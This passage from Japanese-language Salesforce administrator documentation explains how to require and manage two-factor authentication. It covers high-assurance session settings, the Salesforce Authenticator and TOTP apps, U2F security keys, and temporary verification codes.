用しているかを調べます。カスタムレポートを作成して、組織またはコミュニティの ID 検証動作のパター
ンを見つけることができます。
2 要素認証の管理任務の委任
Salesforce システム管理者ではないユーザが、組織内の 2 要素認証のサポートを提供できるようにします。
たとえば、2 要素認証に通常使用しているデバイスを紛失したか、忘れたユーザのために、社内のヘルプデ
スクのスタッフが仮の確認コードを生成できるようにするとします。ヘルプデスクのスタッフメンバーに
「ユーザインターフェースで 2 要素認証を管理」権限を割り当てると、スタッフはコードを生成し、他の
2 要素認証任務でエンドユーザをサポートできます。

2 要素認証ログイン要件の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルと権限セッ
トを編集する
• 「プロファイルと権限

セットの管理」

Salesforceシステム管理者は、ユーザがログインするときに、認証の 2 番目の要素
を使用するように要求できます。
ユーザが Salesforce ([私のドメイン] を使用して作成されたカスタムドメインがあ
る組織を含む) にユーザ名とパスワードを使用してログインするたびに 2 要素認
証が必要になるように設定できます。この要件を設定するには、ユーザプロファ
イル (コピーされたプロファイルのみ) または権限セットの「ユーザインター
フェースへのログインの 2 要素認証」権限を選択します。

段階的な手順: 2 要素認証によってログインを保護する
「ユーザインターフェースログインの 2 要素認証」権限があるユーザは、Salesforce

へのログインのたびに、モバイル認証アプリケーションや U2F セキュリティキー
などの 2 つ目の要素を入力する必要があります。
また、プロファイルベースのポリシーを使用して、特定のプロファイルに割り
当てられたユーザに 2 要素認証要件を設定することもできます。次の認証方式
のユーザに 2 要素認証要件を設定する場合はプロファイルポリシーを使用しま
す。
• シングルサインオンの SAML

• Salesforce 組織またはコミュニティへのソーシャルサインオン
• コミュニティへのユーザ名およびパスワード認証
ユーザ名とパスワード、代理認証、SAML シングルサインオン、および認証プロバイダ経由のソーシャルサイ
ンオンなどの、すべてのSalesforceユーザインターフェース認証方式がサポートされています。ユーザプロファ
イルで、[ログインに必要なセッションセキュリティレベル] 項目を [高保証] に設定します。次に、組織のセッ
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ションの設定で、特定のログイン方法にポリシーを適用するようにセッションセキュリティレベルを設定しま
す。組織のセッションの設定では、セッションのセキュリティレベルで、[2 要素認証] が [高保証] にあること
も確認します。

警告:  [2 要素認証] が [標準] 列にある場合、標準レベルセキュリティを付与する方法を使用してログイン
すると、エラーが発生します。

関連トピック:

2 要素認証
シングルサインオン、ソーシャルサインオン、コミュニティに対する 2 要素認証ログイン要件およびカス
タムポリシーの設定
ID 検証のためのアカウントへの Salesforce Authenticator (バージョン 2 以降) の接続
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証
ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断
ユーザのワンタイムパスワードジェネレータアプリケーションの切断
ID の検証方法
カスタムログインフロー
仮の ID 確認コードの生成
仮の確認コードの期限切れ
2 要素認証の管理任務の委任
ID 検証履歴
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シングルサインオン、ソーシャルサインオン、コミュニティに対する 2 要素認証ログイン要件およ
びカスタムポリシーの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロファイルと権限セッ
トを編集する
• 「プロファイルと権限

セットの管理」

仮の確認コードを生成す
る
• 「ユーザインター

フェースで 2 要素認証
を管理」

プロファイルポリシーおよびセッションの設定を使用して、ユーザに対する 2

要素認証ログイン要件を設定します。ユーザ名とパスワード、代理認証、SAML

シングルサインオン、およびサードパーティ認証プロバイダ経由のソーシャル
サインオンなどの、すべてのSalesforceユーザインターフェース認証方式がサポー
トされています。Salesforce組織およびコミュニティのユーザに 2 要素認証要件を
適用できます。
特定のプロファイルに割り当てられたユーザに対して 2 要素認証を必須にする
には、[ログインに必要なセッションセキュリティレベル]プロファイル設定を編
集します。次に、組織のセッションの設定で、特定のログイン方法にポリシー
を適用するようにセッションセキュリティレベルを設定します。
デフォルトでは、ログイン時のセッションセキュリティ要件は、すべてのプロ
ファイルで [なし]になっています。プロファイルの [セッションの設定] を編集
して要件を [高保証]に変更できます。この要件が設定されたプロファイルユー
ザが、高保証ではなく標準レベルのセキュリティを許可するログイン方法 (ユー
ザ名とパスワードなど) を使用すると、2 要素認証を使用した ID 検証が求められ
ます。ユーザ認証に成功すると、Salesforce にログインします。
ログイン方法に関連付けるセキュリティレベルは、組織の [セッションの設定]

で編集できます。
モバイルデバイスを使用するユーザは、Salesforce Authenticator モバイルアプリケー
ションまたは 2 要素認証用の他の認証アプリケーションを使用できます。内部
ユーザは、個人設定の [高度なユーザの詳細] ページで、アプリケーションを自
分のアカウントに接続できます。プロファイルで [高保証]要件が設定されてい
る場合、Salesforce Authenticator または別の認証アプリケーションがまだアカウントに接続されていないプロファ
イルユーザは、ログインする前にアプリケーションを接続するよう求められます。アプリケーションを接続し
た後、アプリケーションを使用して ID を検証するよう求められます。
登録済み U2F セキュリティキーがあるユーザは、2 要素認証にそれを使用できます。
[高保証] プロファイル要件が設定されているコミュニティメンバーは、ログイン中に認証アプリケーション
を接続するよう求められます。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
2. プロファイルを選択します。
3. [セッションの設定] までスクロールして、[ログインに必要なセッションセキュリティレベル] 設定を見つけ

ます。
4. [編集] をクリックします。
5. [ログインに必要なセッションセキュリティレベル] で [高保証] を選択します。
6. [保存] をクリックします。
7. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択します。
8. [セッションセキュリティレベル] で、[高保証] 列が [2 要素認証] であることを確認します。
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[2 要素認証] が [標準] 列にある場合、標準レベルセキュリティを付与する方法を使用してログインすると、
エラーが発生します。

9. メモ:  [有効化] を [高保証] 列に移動することを検討します。この設定により、不明なブラウザまたはア
プリケーションから ID を検証するユーザによって、高保証セッションが確立されます。[有効化] が [高
保証] 列にある場合は、ログイン時に ID を検証するプロファイルユーザが、高保証セッションセキュ
リティ要件を満たすために再度 ID 検証を求められることがなくなります。

変更内容を保存します。

例:  Facebook および LinkedIn をコミュニティの認証プロバイダとして設定したとします。コミュニティメン
バーの多くは、ソーシャルサインオンを使用して、Facebook または LinkedIn アカウントからユーザ名とパ
スワードを使ってログインします。カスタマーコミュニティユーザに対して、Facebook アカウントを使用
してログインする場合は 2 要素認証の使用を必須とするが、LinkedIn アカウントを使用してログインする
場合は必須としないようにして、セキュリティを強化するとします。この場合、カスタマーコミュニティ
ユーザプロファイルを編集して、[ログインに必要なセッションセキュリティレベル] を [高保証] に設定し
ます。組織のセッション設定で、セッションセキュリティレベルを編集します。Facebook を [標準] 列に配
置します。[高保証] 列に [2 要素認証] を配置します。また、LinkedIn も [高保証] 列に配置します。

メモ: ログインフローを使用して、ユーザのセッションセキュリティレベルを変更し、特定の条件下
で ID 検証を開始することもできます。ログインフローにより、ビジネス要件を満たすカスタムの認
証後のプロセスを構築できます。

2 要素認証に通常使用しているデバイスを紛失したか、忘れたユーザのために、仮の確認コードを生成できま
す。コードの有効期限が生成後 1 ～ 24 時間後に切れるように設定します。コードは有効期限まで繰り返し使
用できます。ユーザが使用できる仮のコードは一度に 1 つのみです。以前のコードがまだ有効な間にユーザが
新しいコードを必要とする場合は、以前のコードを期限切れにして新しいコードを生成できます。ユーザは、
個人設定で自分の有効なコードを期限切れにできます。

メモ: [高保証] プロファイル要件は、ユーザインターフェースログインに適用されます。OAuth トークン
交換は要件の対象ではありません。プロファイルに [高保証] 要件が設定される前に取得された OAuth 更
新トークンは、引き続き API に対して有効なアクセストークンに交換できます。トークンは標準保証セッ
ションで取得された場合でも有効です。外部アプリケーションで API にアクセスする前に高保証セッショ
ンの確立をユーザに要求するには、最初にそのプロファイルのユーザに対する既存の OAuth トークンを取
り消します。次に、プロファイルに [高保証] 要件を設定します。ユーザは 2 要素認証を使用してログイ
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ンし、アプリケーションを再認証する必要があります。「OAuth トークンの取り消し」を参照してくださ
い。

関連トピック:

2 要素認証
カスタムログインフロー
ID 検証のためのアカウントへの Salesforce Authenticator (バージョン 2 以降) の接続
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証
ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断
ユーザのワンタイムパスワードジェネレータアプリケーションの切断
仮の ID 確認コードの生成
仮の確認コードの期限切れ
2 要素認証の管理任務の委任
仮の確認コードの期限切れ

API アクセスの 2 要素認証ログイン要件の設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Database.com Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

プロファイルのシステム
権限を編集する
• 「プロファイルと権限

セットの管理」

この機能を有効化する
• 「ユーザインター

フェースログインの 2
要素認証」

Salesforce システム管理者は、「API ログインの 2 要素認証」権限を設定して、
Salesforceへの API アクセスに 2 つ目の認証チャレンジを使用できます。API アクセ
スには、組織のカスタマイズまたはクライアントアプリケーションの構築を行
うためにデータローダや開発者ツールなどのアプリケーションを使用すること
も含まれます。
「ユーザインターフェースログインの 2 要素認証」権限は、「API ログインの 2

要素認証」権限の前提条件です。これらの権限が有効になっているユーザは、
ユーザインターフェース経由でSalesforceにログインするときに、2 要素認証を行
う必要があります。ユーザは、認証アプリケーションをモバイルデバイスにダ
ウンロードおよびインストールして、アプリケーションを Salesforce アカウント
に接続する必要があります。これにより、アプリケーションから確認コード (時
間ベースのワンタイムパスワード (TOTP)) を使用して、2 要素認証を行うことがで
きます。

関連トピック:

2 要素認証
ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる
ID の検証
2 要素認証ログイン要件の設定
セキュリティトークンのリセット
ID 検証履歴
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ID 検証のためのアカウントへの Salesforce Authenticator (バージョン 2 以降) の接続

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

モバイルデバイス上の Salesforce Authenticator (バージョン 2 以降) アプリケーショ
ンは、認証の 2 つ目の「要素」です。このアプリケーションを使用することで、
アカウントのセキュリティレベルが向上します。
1. 使用するモバイルデバイスのタイプに応じて、Salesforce Authenticator アプリ

ケーションのバージョン 2 以降をダウンロードし、インストールします。
iPhone の場合は、App Store からアプリケーションをダウンロードします。
Android デバイスの場合は、Google Play からアプリケーションをダウンロード
します。
モバイルデバイスにすでに Salesforce Authenticator のバージョン 1 がインストー
ルされている場合は、App Store または Google Play でアプリケーションをバー
ジョン 2 に更新できます。更新では、ユーザがアプリケーションにすでに
持っている接続済みのアカウントは保持されます。これらのアカウントは
コード専用アカウントで、確認コードは生成しますが、転送通知を受信した
りロケーションベースの自動検証を許可したりはしません。コード専用アカ
ウントは、[接続済みのアカウント] リストにアカウント名の行の右端が > なしで表示され、アカウントの
詳細ページはありません。Salesforce への現在のログインに使用するユーザ名に対してコード専用アカウン
トがある場合は、続行する前にアプリケーション内で左にスワイプしてそのユーザ名を削除します。後の
ステップで、そのユーザ名のアカウントを再度接続します。新しく接続されたアカウントでは、Salesforce

Authenticator バージョン 2 の完全な機能 (転送通知、ロケーションベースの自動検証、および確認コード) を
使用できます。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選
択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

3. [アプリケーション登録: Salesforce Authenticator] を見つけ、[接続] をクリックします。
4. セキュリティ上の理由で、アカウントにログインするように要求されます。
5. モバイルデバイスで Salesforce Authenticator アプリケーションを開きます。

アプリケーションを初めて開く場合、アプリケーションの機能を紹介するツアーが表示されます。ツアー
を開始してもよいですし、すぐにアプリケーションに Salesforce アカウントを追加することもできます。

6. アプリケーションで、[+] をタップしてアカウントを追加します。
一意の 2 語の語句が生成されます。

7. ブラウザに戻って、[2 語の語句] 項目にその語句を入力します。
8. [接続] をクリックします。

以前に確認コードを生成する認証アプリケーションをアカウントに接続したことがある場合、アラートが
表示されることがあります。Salesforce Authenticator モバイルアプリケーションのバージョン 2 以降を接続す
ると、古いアプリケーションからのコードは無効になります。今後、確認コードが必要な場合は、Salesforce

Authenticator から取得してください。
9. モバイルデバイス上の Salesforce Authenticator アプリケーションに、接続しているアカウントの詳細が表示さ

れます。アカウントの接続を完了するには、アプリケーションで [接続] をタップします。
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アカウントの安全を確保するため、新しい ID 検証方法が Salesforce アカウントに追加されるたびに、メール通
知が送信されます。自分がその方法を追加したか、Salesforceのシステム管理者が自分の代わりに追加したかに
関係なく、メールは送信されます。
セキュリティ強化のためにログイン時またはレポートやダッシュボードへのアクセス時に 2 要素認証が必要な
場合は、このアプリケーションを使用してアカウントアクティビティを検証します。アプリケーションを接続
する前に 2 要素認証を使用する必要がある場合は、Salesforce に次回ログインしたときにアプリケーションを接
続するよう求められます。まだ 2 要素認証が必要でない場合は、引き続き個人設定からアプリケーションをア
カウントに接続できます。
アプリケーションをいったん接続すると、ID 検証が必要なアクティビティを実行するたびにモバイルデバイス
に通知が送信されます。通知を受信したら、モバイルデバイス上のアプリケーションを開いてアクティビティ
の詳細を確認し、モバイルデバイス上で応答することによって検証します。見覚えがないアクティビティに関
する通知を受信した場合は、アプリケーションを使用してそのアクティビティをブロックします。Salesforceシ
ステム管理者のために、ブロックしたアクティビティにフラグを付けることができます。このアプリケーショ
ンでは、ID 検証の代替方法として使用できる確認コードも提供されます。

ワンタイムパスワードジェネレータアプリケーションまたはデバイスによる ID の検証

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce Authenticator や Google Authenticator などのワンタイムパスワードジェネ
レータアプリケーションを接続して、ID を検証します。このアプリケーション
は、確認コード (「時間ベースのワンタイムパスワード」と呼ばれることもある)

を生成します。
ログイン時、または接続済みアプリケーション、レポート、またはダッシュボー
ドへのアクセス時のセキュリティを強化するために 2 要素認証が必要な場合は、
アプリケーションからコードを使用します。アプリケーションを接続する前に
2 要素認証が必要になった場合は、次に Salesforce にログインしたときにアプリ
ケーションを接続するよう求められます。
1. デバイスのタイプに応じて、サポートされる認証アプリケーションをダウンロードします。Salesforce

Authenticator for iOS、Salesforce Authenticator for Android、Google Authenticator など、時間ベースのワンタイムパス
ワード (TOTP) アルゴリズム (IETF RFC 6238) をサポートしている認証アプリケーションであれば、どれでも使
用できます。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選
択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

3. [アプリケーション登録: ワンタイムパスワードジェネレータ] を見つけ、[接続] をクリックします。
Salesforce Authenticator 以外の認証アプリケーションを接続する場合は、この設定を使用します。Salesforce

Authenticator を接続する場合は、(バージョン 2 以降で使用可能な転送通知ではなく) ワンタイムパスワード
ジェネレータ機能を使用している場合にのみ、この設定を使用します。

メモ: 転送通知を使用するためにSalesforce Authenticator を接続する場合は、代わりに [アプリケーション
登録: Salesforce Authenticator] 設定を使用します。この設定では、転送通知とワンタイムパ
スワード生成の両方が有効になります。

ワンタイムパスワード生成では、最大 2 つの認証アプリケーション (Salesforce Authenticator と他の認証アプリ
ケーション) を Salesforce アカウントに接続できます。
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4. セキュリティ上の理由で、アカウントにログインするように要求されます。
5. モバイルデバイスで、認証アプリケーションを使用して QR コードをスキャンします。

または、ブラウザで [QR コードをスキャンできません]をクリックします。ブラウザにセキュリティキーが
表示されます。認証アプリケーションで、ユーザ名と表示されたキーを入力します。

6. Salesforce で、認証アプリケーションによって生成されたコードを、[確認コード] 項目に入力します。
確認コードは、認証アプリケーションによって定期的に新しく生成されます。現在のコードを入力します。

7. [接続] をクリックします。
アカウントの安全を確保するため、新しい ID 検証方法が Salesforce アカウントに追加されるたびに、メール通
知が送信されます。自分がその方法を追加したか、Salesforceのシステム管理者が自分の代わりに追加したかに
関係なく、メールは送信されます。

ID 検証のための U2F セキュリティキーの有効化

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Database.com Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

U2F セキュリティキーを有
効にする
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

Salesforceシステム管理者は、2 要素認証および有効化などの ID 検証を求められた
ときに、ユーザが U2F セキュリティキーを使用できるようにすることが可能で
す。Salesforce Authenticator、またはメールや SMS で送信されたワンタイムパスワー
ドを使用する代わりに、U2F セキュリティキーを USB ポートに挿して検証を完了
します。
Universal Second Factor (U2F) 認証標準は FIDO Alliance の一部であり、フィッシング攻
撃への耐性が強い公開鍵暗号化のセキュリティを特徴としています。通常 USB

ポートに差し込む U2F セキュリティキーは、簡単に配備でき、モバイルデバイ
スを使用できない環境で非常に役立ちます。複数のサービスプロバイダおよび
複数の Salesforce 組織と取引先で同じセキュリティキーを使用できます。
セキュリティキーの使用方法については重要なため、ここで概要を説明します。
• ユーザは独自のセキュリティキーを自分でプロビジョニングできます。これ

らのデバイスは、IT 部門やシステム管理者による事前登録は必要ありません。
• セキュリティキーはその他の USB 認証デバイスに似ており、ユーザはキーホ

ルダーに付けて持ち運ぶことができます。デバイスが U2F プロトコルと互換
性があることを示す FIDO U2F ロゴを探してください。不明な場合は、セキュ
リティハードウェアベンダーに問い合わせてそのキーが U2F 準拠であること
を確認してください。

• セキュリティキーは生体認証デバイスではありませんが、一部にはボタンが
付いており、ユーザがそのボタンに触れてデバイスを有効にする必要があり
ます。ユーザがセキュリティキーを挿入して有効化すると、必要なログイン
情報が生成され、ブラウザによりその情報がSalesforceに渡され、ログインが
完了します。

• 今のところ、この ID 検証方法は Chrome バージョン 41 以降でのみサポートさ
れています。Chrome バージョン 41 以降は、U2F をネイティブでサポートしている唯一のブラウザです。

組織で U2F セキュリティキーを有効にすると、ユーザはそれぞれセキュリティキーを登録してデバイスを
Salesforce アカウントに接続できます。これにより、ID 検証にセキュリティキーを使用できます。
1. [設定] から、[クイック検索]ボックスに「セッションの設定」と入力し、[セッションの設定]を選択します。
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2. [セキュリティキーの使用をユーザに許可] を選択します。

重要:  U2F セキュリティキーを有効にする前に、[私のドメイン] を有効化する必要があります。組織で
[私のドメイン] をリリースしていれば、この設定にアクセスできます。

3. 変更内容を保存します。
その他の ID 検証方法と同じように、Salesforceの標準的なツールを使用して、ユーザのセキュリティキーの使用
状況を追跡できます。
• ユーザのセキュリティキーアクティビティは [ID 検証履歴] ページに表示されます。
• [ID 検証履歴] ページのリンクから ID 検証方法レポートを使用して、セキュリティキーの採用を監視します。
• ユーザリストビューを作成して [U2F セキュリティキーがある]項目を組み込み、この方法を登録したユー

ザを確認します。
ユーザの一括メール送信ツールを使用すると、対象を絞ったお知らせをこの方法を登録しているユーザに送信
できます。

ID 検証のための U2F セキュリティキーを登録

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Database.com Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

U2F セキュリティキーを登録して、Salesforce アカウントに接続します。Salesforce

Authenticator、メールおよび SNS から送信されたワンタイムパスワードを使用す
る方法とは別の、安全で便利な方法です。2 要素認証および有効化などの ID 検
証を求められたときに、セキュリティキーを USB ポートに挿入して検証を完了
できます。
Salesforceシステム管理者が U2F セキュリティキーの使用を許可している場合は、
自分のセキュリティキーを登録します (システム管理者は代行できません)。次の
考慮事項に留意します。
• 使用するセキュリティキーが U2F プロトコルと互換性があることを確認しま

す。セキュリティキーは、キーホルダーに付ける他の USB 認証デバイスと似
ています。デバイスが U2F 準拠であることを示す FIDO U2F ロゴを見つけてく
ださい。わからない場合は、Salesforce システム管理者に確認してください。

• ブラウザに互換性があることを確認します。今のところ、Google Chrome バー
ジョン 41 以降のみが U2F をネイティブでサポートしているブラウザです。登
録および ID 検証操作のすべては Chrome バージョン 41 以降のみでサポートさ
れています。

• 複数のサービスプロバイダと複数の Salesforce 組織およびアカウントで同じセキュリティキーを使用できま
す。アカウントあたり 1 つのキーを登録できます。

1. U2F 準拠のセキュリティキーを入手したら、メッセージが出たときにキーを挿入します。挿入までに間をあ
けすぎると、登録はタイムアウトになります。

2. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選
択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

3. [登録] 項目の横にある [セキュリティキー (U2F)] をクリックします。
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このオプションが表示されない場合は、Salesforce システム管理者がセキュリティキーの使用を無効にして
います。

4. セキュリティ上の理由で、アカウントにログインするように要求されます。
5. メッセージが出たら、セキュリティキーをコンピュータの USB ポートに挿入します。ボタンがある場合は、

ボタンを押します。
セキュリティキーは生体認証デバイスではありませんが、一部にはボタンが付いており、ユーザがそのボ
タンに触れてデバイスを有効にする必要があります。

6. 登録が成功したら、[続行] をクリックして確認メッセージを消します。
アカウントの安全性を維持するため、登録の成功後にメール通知が送信されます。

これで、この ID 検証方法を使用できるようになりました。U2F セキュリティキーを求めるメッセージが表示さ
れたら挿入し、ボタンがあれば押します。セキュリティキーによって必要なログイン情報が生成され、ブラウ
ザがそれを Salesforce に渡して検証が完了します。
セキュリティキーを携帯していない場合でも、Salesforce Authenticator や確認コードを生成する別の方法など、異
なる検証方法を使用することができます。2 要素認証のために一時的に他の方法が必要な場合、システム管理
者は仮の確認コードを生成できます (有効化では使用できません)。
ユーザはセキュリティキー登録をいつでもキャンセルできます。システム管理者も同様です。

ユーザのアカウントからの Salesforce Authenticator (バージョン 2 以降) の切断

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ユーザの Salesforce認証ア
プリケーションを切断す
る
• 「ユーザインター

フェースで 2 要素認証
を管理」

ユーザのアカウントには、一度に 1 つの Salesforce Authenticator (バージョン 2 以降)

モバイルアプリケーションしか接続できません。ユーザがモバイルデバイスの
交換や紛失によってアプリケーションへのアクセスを失った場合は、ユーザの
アカウントからアプリケーションを切断します。次回ユーザが 2 要素認証を使
用してログインすると、その他の認証アプリケーションを接続していない場合
は Salesforce からユーザに新しい認証アプリケーションを接続するように求めら
れます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前をクリックします。
3. ユーザの詳細ページで、[アプリケーション登録: Salesforce

Authenticator] 項目の横にある [切断] をクリックします。
ユーザは、[高度なユーザの詳細] ページで自分のアカウントからアプリケーショ
ンを切断できます。個人設定で、[アプリケーション登録: Salesforce

Authenticator] 項目の横にある [切断] をクリックします。
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ユーザのワンタイムパスワードジェネレータアプリケーションの切断

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

ユーザ権限

ユーザの認証アプリケー
ションを切断する
• 「ユーザインター

フェースで 2 要素認証
を管理」

確認コード (ワンタイムパスワード) を生成するモバイル認証アプリケーション
(Salesforce Authenticator など) が 1 度に接続できるのは、1 ユーザのアカウントのみ
です。ユーザがモバイルデバイスを交換したり、紛失したりしてアプリケーショ
ンへのアクセスを失った場合は、ユーザのアカウントからアプリケーションを
切断します。次回 2 要素認証を使用してユーザがログインすると、他の ID 検証
方法が接続されていない場合、Salesforceからユーザに新しい認証アプリケーショ
ンの接続が求められます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前をクリックします。
3. ユーザの詳細ページで、[アプリケーション登録: ワンタイムパスワードジェ

ネレータ] 項目の横にある [切断] をクリックします。
ユーザは各自のアカウントからアプリケーションを切断できます。個人設定で、
[高度なユーザの詳細] ページに移動して、[アプリケーション登録: ワンタイムパ
スワードジェネレータ] 項目の横にある [切断] をクリックします。

関連トピック:

ユーザの表示および管理
2 要素認証の管理任務の委任
個人情報の更新
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ユーザの U2F セキュリティキー登録を削除

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

ユーザ権限

ユーザの U2F セキュリ
ティキー登録を削除する
• 「ユーザインター

フェースで 2 要素認証
を管理」

1 人のユーザの Salesforce アカウントに登録できるのは 1 度に 1 つの U2F セキュリ
ティキーのみです。ユーザが、登録済みのセキュリティキーを交換する、また
は紛失した場合は、ユーザのアカウントから登録を削除します。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前をクリックします。
3. ユーザの詳細ページで、[セキュリティキー (U2F)] 項目の横にある [削除]

をクリックします。
ユーザは自分のアカウントから登録済みセキュリティキーを削除できます。個
人設定で、[高度なユーザの詳細] ページに移動して、[セキュリティキー (U2F)]

項目の横にある [削除] をクリックします。

仮の ID 確認コードの生成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

仮の確認コードを生成す
る
• 「ユーザインター

フェースで 2 要素認証
を管理」

通常 2 要素認証に使用しているデバイスにアクセスできないユーザのために、
仮の確認コードを生成します。コードの有効期限が生成後 1 ～ 24 時間後に切れ
るように設定します。コードは有効期限まで繰り返し使用できます。
仮の確認コードは 2 要素認証でのみ有効です。デバイスの有効化では無効です。
つまり、認識できないブラウザまたはアプリケーションからユーザがログイン
し、ID 検証が必要な場合は、ユーザは仮のコードを使用できません。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. 仮の確認コードが必要なユーザの名前をクリックします。

無効なユーザにはコードを生成できません。
3. [仮の確認コード] を検索し、[生成] をクリックします。

高保証セキュリティレベルのセッションがまだない場合、ID の検証が要求さ
れます。

4. コードの有効期限を設定し、[コードの生成] をクリックします。
5. コードをユーザに付与して [完了] をクリックします。

[完了]をクリックすると、戻ってコードを再度表示することはできなくなり、
コードはユーザインターフェースのどこにも表示されなくなります。
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ユーザは、期限切れになるまで、何回でも仮の確認コードを使用できます。各ユーザの仮の確認コードは一度
に 1 つのみ使用できます。期限切れになる前にコードを忘れるか紛失した場合、そのコードを手動で期限切れ
にして新規に生成できます。各ユーザに 1 時間あたり最大 6 コードまで生成できます。

メモ:  ID 検証方法がユーザのアカウントに追加されると、ユーザにメールが送信されます。新しい ID 検証
方法がアカウントに追加されたときにユーザにメールが送信されないようにするには、Salesforceにお問い
合わせください。

関連トピック:

2 要素認証
2 要素認証の管理任務の委任
仮の確認コードの期限切れ

仮の確認コードの期限切れ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザの仮の確認コード
を期限切れにする
• 「ユーザインター

フェースで 2 要素認証
を管理」

ユーザに 2 要素認証が必要なくなった場合、ユーザの仮の確認コードを期限切
れにします。
各ユーザの仮の確認コードは一度に 1 つのみ使用できます。期限切れになる前
にコードを忘れるか紛失した場合、そのコードを手動で期限切れにして新規に
生成できます。各ユーザに 1 時間あたり最大 6 コードまで生成できます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. 期限切れにする必要のある仮の確認コードを持つユーザの名前をクリックし

ます。
3. [仮の確認コード] を検索し、[今すぐ期限切れにする] をクリックします。

関連トピック:

2 要素認証
2 要素認証の管理任務の委任
仮の ID 確認コードの生成
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ユーザによる ID の検証方法の確認

エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザ ID 検証方法を監視
する
• 「ユーザインター

フェースで 2 要素認証
を管理」

ユーザのリストビューをカスタマイズするか、ID 検証方法レポートを確認して、
誰がどの ID 検証方法を使用しているかを調べます。カスタムレポートを作成し
て、組織またはコミュニティの ID 検証動作のパターンを見つけることができま
す。
登録された ID 検証方法を [ユーザ] リストビューに表示するには、ビューを作成
または編集して、次の項目を 1 つ以上追加します。
検証済みの携帯番号がある

ユーザに検証済みの携帯番号があるかどうかを示します。Salesforce は、ユー
ザのその番号に確認コードをテキスト送信できます。

ワンタイムパスワードアプリケーションがある
ユーザが確認コード (時間ベースのワンタイムパスワードともいう) を生成す
る認証アプリケーションを接続しているかどうかを示します。ユーザは ID を
検証するために、アプリケーションによって生成されたコードを入力しま
す。

Salesforce Authenticator がある
ユーザがSalesforce Authenticator モバイルアプリケーションを接続しているかど
うかを示します。ユーザは ID を検証するために、アプリケーションに送信さ
れた通知を承認します。

仮コードがある
ユーザに仮の確認コードがあるかどうかを示します。システム管理者と、「ユーザインターフェースで 2

要素認証を管理」権限のあるシステム管理者以外のユーザが仮のコードを生成して、コードの有効期限を
設定します。

U2F セキュリティキーがある
ユーザが U2F セキュリティキーを登録したかどうかを示します。ユーザはセキュリティキーを USB ポート
に差して ID を検証できます。

2 要素認証の一部のサポート任務は、リストビューから直接実行できます。たとえば、仮の確認コードを生成
または失効したり、ユーザがモバイルデバイスにアクセスできなくなったときにモバイル認証アプリケーショ
ンを切断したりできます。
「ユーザインターフェースで 2 要素認証を管理」権限のあるユーザは [設定] の [ID 検証履歴] ページのリンクを
